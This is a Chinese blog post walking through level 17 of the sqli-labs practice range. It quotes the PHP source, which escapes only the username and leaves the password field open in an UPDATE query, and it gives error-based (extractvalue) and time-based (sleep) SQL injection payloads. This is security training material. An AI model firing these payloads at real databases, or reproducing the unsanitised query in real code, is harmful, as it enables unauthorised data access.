靶场练习-Sqli-labs通关记录(post型)(17关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(17)第十七关:

单独把第十七关拿出来是因为好接上文中:php内一些可以防止注入的函数

我们首先看一下源代码:

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,20);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
        
    else
        {
        $value = intval($value);
        }
    return $value;
    }

源码中有个check_input函数,这里是使用了转义的,对value值进行了转义,所以我们需要再看看这个注入题哪里调用了这个check函数:

 

发现仅仅是对uname进行了注入防御,所以我们就可以开始绕过了。

查看源代码:

// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

看的语句不是上面的,因为这是个更新密码的注入点

 

if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

 

因为只对uname进行绕过,所以跟之前的关卡一样,只需要对passwd字段构造注入语句即可,同时需要使用逗号来闭合,先试试报错注入,如果无法报错,就试试延时注入:

123' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

 

 

发现报错,也可以尝试一下延时注入

123' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

 

 

 

 这道题用延时注入不太好注,所以建议使用报错注入比较好!

posted @ 2021-11-08 10:11  铺哩  阅读(307)  评论(0编辑  收藏  举报